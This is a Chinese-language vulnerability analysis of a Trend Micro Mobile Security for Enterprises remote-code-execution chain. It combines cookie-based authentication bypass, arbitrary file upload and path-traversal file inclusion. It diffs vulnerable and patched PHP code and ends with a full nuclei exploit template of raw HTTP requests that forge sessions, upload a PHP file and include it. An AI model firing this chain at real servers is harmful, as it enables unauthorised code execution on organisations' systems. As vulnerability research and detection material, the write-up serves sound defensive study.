Trend Micro Mobile Security 认证绕过/文件上传/文件包含 RCE

组合拳

# 漏洞通告

image.png

https://success.trendmicro.com/dcx/s/solution/000293106?language=en_US

WFUser权限绕过+set_certificates_config文件上传+getWidgetPoolManager文件包含,很明显的组合拳。

# 安装

https://downloadcenter.trendmicro.com/index.php?regs=nabu&prodid=83

3278版本的readme中写了修复了权限绕过,所以下载3223版本

image.png

安装用server 2008或者2012,不然有的vc库不兼容,还要先装iis并且启用cgi、http redirect、iis6兼容等,具体看安装手册

https://docs.trendmicro.com/all/ent/tmms-ee/v9.5/en-us/tmms-ee_9.5_idg.pdf

Chapter 2中讲了具体的安装步骤,不再赘述。

image.png

# 漏洞分析

diff3223和3278版本的代码

对应的CVE是CVE-2023-32523 CVE-2023-32524,一个是widget,一个是widgetforsecurity,代码是一样的。对比补丁

image.png

漏洞点在于左侧代码product_auth.php从cookie中取值并以逗号分割将下标为1的索引值赋值给$_SESSION['UserName'],导致可以伪造用户。

image.png

product_auth.php被包含在widget/inc/session_auth.php中用来做权限校验和csrf校验

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
	require_once(dirname(__FILE__)."/config.php");
    session_set_cookie_params(0, WF_COOKIE_PATH);
	// include product's authentication
	$product_auth_file = WP_HOME."/inc/product_auth.php";
	if( file_exists($product_auth_file) ) {
		require_once($product_auth_file);
	}

	// WidgetFramework session control
	if( !isset($_SESSION) ) {
		session_start();
	}

	// create CSRF token in advance
	WF::getSecurityFactory()->getHttpToken()->getGuardToken();

	if( $GLOBALS['wfconf_prevent_csrf'] == true ){	// To prevent proxy from being attacked by CSRF
		require_once (dirname(__FILE__) . "/class/proxy/ProxyCSRFTokenFilter.php");
	    $proxyChecker = WF::getProxyFactory()->getProxyRequestChecker();
	    $proxyChecker->add( new WFProxyCSRFTokenFilter() );	    
	}

在用户类WFUser的构造函数中__construct

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public function __construct(){
    mydebug_log("[WFUSER] __construct()");

    // check $_SESSION
    if(! isset($_SESSION)){
        mydebug_log("[WFUSER] __construct() Invalid session");
        $this->errMessage = "Invalid session. (probably need session_start())";
        return;
    }
    // create database
    $this->createUserDB();
    if($this->userdb->isFailed()){
        return false;
    }
}

只是简单判断了session,所以这里可以伪造用户。

\WFProxy::RetriveData中增加了后缀校验

image.png

这两个case分支都可以任意文件上传,但是第一个add_app_file会将文件传到uploads/目录下,而这个产品的目录下默认是没有可写权限,并且没有uploads这个目录的,所以会失败。

image.png

利用点在set_certificates_config分支,他会将文件写入temp目录,默认window是C:\windows\temp\下。

查找调用关系之后构造请求包如图

image.png

文件路径的输出是我debug加的,请自行忽略。

getWidgetPoolManager中加了包含白名单

image.png

他会包含一个文件名为PoolManager.php的php文件,可以跨目录,所以配合上文的set_certificates_config包含temp下的php文件即可

查找函数调用关系后在widget/inc/widget_package_manager.php中进行文件包含

请求包如下

image.png

上文说到权限校验交由widget/inc/session_auth.php来校验,在widget/proxy_controller.php中包含了该文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
////require(dirname(__FILE__).'/proxy_controller_mock.php');
if(!defined("IS_LOAD_TASK_CONTROLLER")){
    require_once (dirname(__FILE__) . "/inc/session_auth.php");         [1]
    // we don't have to update $_SESSION
    ob_start(); // we buffer everything, because we need to update $_SESSION anytime
    session_write_close();
}else{
...
}
...
/* check module */
$server_module = $g_GetPost['module'];
mydebug_log("[PROXY-REQUEST] module: " . $server_module);
$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
    mydebug_log("Bad guy come in!!");
    proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
    $strProxyDir = USER_GENERATED_PROXY_DIR;
}else{
    $strProxyDir = PROXY_DIR;
}
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
// does file exist?
if(file_exists($myproxy_file)){
    include ($myproxy_file);            [2]
}else{
    proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}

// does class exist?
if(! class_exists("WFProxy")){
    proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
}
$request = new WFProxy($g_GetPost, $wfconf_dbconfig);       [3]
...
// proxy excutes tasks
mydebug_log("[PROXY-REQUEST] proxy exec.");
$request->proxy_exec();     [4]
...
?>

2标根据module参数包含不同的模块,然后通过创建模块中的WFProxy类对象来执行proxy_exec()

其中WFProxy类继承了ABaseProxy抽象类,在ABaseProxy的构造函数中判断了session中是否有uid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function __construct($args, $dbconfig){
    $this->cgiArgs = $args;
    $this->errCode = WF_PROXY_ERR_NONE;
    $this->errMessage = "";
    $this->httpObj = new WFHttpTalk();
    // http default settings
    $this->httpObj->setTimeout_connect(WFPROXY_TIMEOUT_CONNECT);
    $this->httpObj->setTimeout(WFPROXY_TIMEOUT);
    // check userid (for permission checking)
    if(isset($_SESSION['uid'])){
        $this->userid = $_SESSION['uid'];
    }else{
        $this->errCode = WF_PROXY_ERR_INIT_INVALID_USERID;
        $this->errMessage = WF_PROXY_ERR_INIT_INVALID_USERID_MSG;
        return;
    }
    ...
}

所以除了伪造UserName以外,还需要伪造session[‘uid’]

WFUser::loaduser_byuid函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function loaduser_byuid($uid){
    mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
    // load user
    $uinfolist = $this->userdb->get_users($uid);
    if($this->userdb->isFailed()){
        mydebug_log("[WFUSER] loaduser_byuid() : get_users failed");
        return false;
    }
    // no exists
    if(! isset($uinfolist[0])){
        mydebug_log("[WFUSER] loaduser_byuid() : get_users - no user");
        return false;
    }
    // get userinfo
    $this->userinfo = $uinfolist[0];
    mydebug_log("[WFUSER] loaduser_byuid() : ok mail = " . $this->userinfo['email']);
    return true;
}

可以通过uid参数查询数据库将userinfo赋值给WFUser的userinfo字段,然后在binduser函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public function binduser(){
    mydebug_log("[WFUSER] binduser()");
    $_SESSION['uniqueid'] = $this->gencode();
    $_SESSION['uid'] = $this->userinfo['id'];
    mydebug_log("[WFUSER] binduser() uniqueid: " . $_SESSION['uniqueid']);
    mydebug_log("[WFUSER] binduser() uid: " . $_SESSION['uid']);
    setcookie("un", $_SESSION['uniqueid'], 0, WF_COOKIE_PATH);
    setcookie("userID", $this->userinfo['id'], 0, WF_COOKIE_PATH);
    $lang = isset($_COOKIE['CONSOLE_LANG']) ? $_COOKIE['CONSOLE_LANG'] : $this->userinfo['lang'];
    $_SESSION['WGF_LANG'] = $lang;
    setcookie("LANG", $lang, 0, WF_COOKIE_PATH);
    mydebug_log("[WFUSER] binduser() cookie un: " . $_SESSION['uniqueid']);
    mydebug_log("[WFUSER] binduser() cookie userID: " . $this->userinfo['id']);
    mydebug_log("[WFUSER] binduser() cookie LANG: " . $this->userinfo['lang']);
    // the final step of binding
    $this->auth = true;
}

将uid写入session,所以我们可以找loaduser_byuid的函数调用,即recover_session_byuid<-standalone_user_init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function recover_session_byuid($uid){
    mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
    if(false == $this->loaduser_byuid($uid)){           [1]
        mydebug_log("[WFUSER] recover_session_byuid() failed");
        return false;
    }
    return $this->recover_session();   [3]
}
public function standalone_user_init(){
    mydebug_log("[WFUSER] standalone_user_init()");
    if(isset($_COOKIE['userID'])){
        return $this->recover_session_byuid($_COOKIE['userID']);    [2]
    }
    mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
    return false;
}
private function recover_session(){
    mydebug_log("[WFUSER] recover_session()");
    // check is the user session exist?
    if(! isset($_SESSION['uniqueid'])){
        mydebug_log("[WFUSER] recover_session(): session uniqueid isn't set");
        return false;
    }
    // yes, try to compare
    if($_SESSION['uniqueid'] != $this->gencode()){
        // session invalid
        mydebug_log("[WFUSER] recover_session(): code mismatch");
        return false;
    }
    $this->binduser();    [4]
    return true;
}

2标刚好从COOKIE中取userid,standalone_user_init在widget/index.php被调用,然后在4标将cookie中的userid赋值给session[‘uid’],到此即可完整实现权限绕过。

# exp

给出nuclei的模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
id: CVE-2023-32523
info:
  name: Trend Micro Mobile Security for Enterprises widget WFUser Authentication Bypass Vulnerability
  author: Y4er
  severity: critical
  description: 由于WFUser设计不合理导致可以权限绕过并且通过CVE-2023-32525任意文件上传配合CVE-2023-32527文件包含RCE
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-23-587/
    - https://success.trendmicro.com/dcx/s/solution/000293106?language=en_US
  tags: cve,cve2023,Trend Micro,rce,http,bypass,mdm,Mobile Security,CVE-2023-32527,CVE-2023-32523,CVE-2023-32525


variables:
  ra: "{{to_lower(rand_base(6))}}"

requests:
  - raw:
      - |+
        GET /mdm/web/widget/inc/session_auth.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: session_info={{ra}},root,1,1,1;        

      - |+
        GET /mdm/web/widget/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: session_info={{ra}},root,1,1,1;userID=1;        


      - |+
        POST /mdm/web/widget/proxy_controller.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: session_info={{ra}},root,1,1,1;userID=1;
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUJ9sOi87CDClUSFu
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Csrftoken: {{csrf}}

        ------WebKitFormBoundaryUJ9sOi87CDClUSFu
        Content-Disposition: form-data; name="module"

        modTMMSPM
        ------WebKitFormBoundaryUJ9sOi87CDClUSFu
        Content-Disposition: form-data; name="tmms_action"

        set_certificates_config
        ------WebKitFormBoundaryUJ9sOi87CDClUSFu
        Content-Disposition: form-data; name="cert_file_name";filename="PoolManager.php"
        Content-type:text/plain

        <?php echo md5('12345678');?>
        ------WebKitFormBoundaryUJ9sOi87CDClUSFu--        

      - |+
        POST /mdm/web/widget/inc/widget_package_manager.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: session_info={{ra}},root,1,1,1;userID=1;
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Csrftoken: {{csrf}}

        {"act":"check","update_type":"..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp\\"}        


    req-condition: true
    cookie-reuse: true
    matchers:
      - type: word
        part: body
        condition: and
        words:
          - "{{md5('12345678')}}"

    extractors:
      - type: kval
        name: sessionid
        internal: true
        part: body_1
        kval:
          - PHPSESSID
      - type: kval
        name: csrf
        internal: true
        part: body_2
        kval:
          - wf_CSRF_token

启用了cookie-reuse,所以请求的cookie是会自动合并的。

# 总结

一个很漂亮的fullchain。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。